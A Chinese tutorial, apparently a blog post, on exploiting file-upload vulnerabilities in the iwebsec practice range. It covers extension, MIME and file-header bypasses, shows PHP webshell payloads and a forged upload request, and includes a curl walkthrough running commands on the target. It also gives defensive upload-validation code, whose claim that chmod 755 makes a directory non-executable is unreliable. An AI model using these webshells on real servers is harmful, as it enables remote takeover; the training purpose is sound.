1. iwebsec靶场与文件上传漏洞概述iwebsec作为国内知名的Web安全实战靶场平台其文件上传漏洞场景是渗透测试工程师必须掌握的实战技能点。文件上传功能在Web应用中极为常见从社交媒体的头像更换到企业OA系统的附件提交都依赖于此功能。但开发者若未对上传文件进行严格校验攻击者便可上传恶意脚本文件如PHP、JSP进而获取服务器控制权。在iwebsec靶场中文件上传漏洞被设计为渐进式挑战包含以下典型漏洞类型前端JS校验绕过MIME类型检测绕过文件扩展名黑名单/白名单绕过文件内容检测绕过条件竞争漏洞利用2. 基础绕过前端校验突破2.1 前端校验机制分析当靶场页面限制只能上传.jpg/.png文件时常见的前端防御手段包括input typefile accept.jpg,.png onchangecheckFile(this) script function checkFile(input) { const ext input.value.split(.).pop().toLowerCase(); if(![jpg,png].includes(ext)) { alert(仅允许JPG/PNG文件); input.value ; } } /script2.2 绕过实战步骤拦截修改请求使用Burp Suite捕获上传请求扩展名篡改将shell.php改为shell.jpg上传数据包重放在Burp中修改filename为shell.php后放行结果验证访问/uploads/shell.php执行系统命令关键技巧Chrome开发者工具中禁用JavaScript可快速绕过纯前端校验F12 → Settings → Debugger → Disable JavaScript3. 中级挑战服务端校验突破3.1 MIME类型检测绕过当服务器检查Content-Type时合法类型image/jpeg,image/png绕过方法修改上传包的Content-Type头POST /upload.php HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namefile; filenameshell.php Content-Type: image/jpeg !-- 关键修改点 -- ?php system($_GET[cmd]); ?3.2 文件头欺骗针对检测文件内容的场景GIF89a伪造在PHP文件开头添加GIF标识GIF89a ?php header(Content-Type: image/gif); system($_GET[cmd]); ?PNG头伪造使用Hex编辑器添加PNG签名‰PNG4. 高级技巧特殊扩展名绕过4.1 黑名单缺陷利用当靶场禁止上传.php但遗漏其他可执行扩展名时PHP变种.php5,.phtml,.phpsJSP环境.jspx,.jspfASP环境.asa,.cer4.2 解析特性利用Apache解析漏洞上传shell.php.xxxApache会解析最后的后缀IIS6.0分号漏洞shell.asp;.jpg会被当作ASP执行Nginx文件名逻辑漏洞shell.jpg%00.php截断5. 防御方案与实战建议5.1 安全开发规范# 示例安全的文件上传校验逻辑 ALLOWED_EXTENSIONS {jpg, png} def validate_file(file): # 校验扩展名 if . not in file.filename or \ file.filename.rsplit(., 1)[1].lower() not in ALLOWED_EXTENSIONS: raise ValueError(非法文件类型) # 校验内容类型 if file.content_type not in [image/jpeg, image/png]: raise ValueError(非法MIME类型) # 校验文件头 header file.read(8) if not header.startswith(b\xFF\xD8\xFF) and not header.startswith(b\x89PNG\r\n\x1A\n): raise ValueError(文件内容异常) file.seek(0)5.2 运维加固措施上传目录设置为不可执行chmod -R 755 /var/www/uploads存储重命名策略md5(时间戳文件名).jpg定期漏洞扫描使用ClamAV检测上传目录6. 靶场实战全记录以iwebsec的Level 5为例演示完整渗透流程初步测试上传.php文件返回禁止上传脚本文件信息收集尝试.php5发现未被过滤内容绕过在PHP文件中添加GIF头仍被拦截组合利用使用ExifTool插入注释exiftool -Comment?php system($_GET[cmd]); ? test.jpg重命名为test.jpg.php漏洞利用curl http://target/upload/test.jpg.php?cmdid uid33(www-data) gid33(www-data) groups33(www-data)通过iwebsec靶场的系统化训练可以掌握从基础到高级的文件上传漏洞利用技术。建议在实战中结合其他漏洞如目录遍历、文件包含形成组合攻击链。
阅读完成 · 觉得有帮助?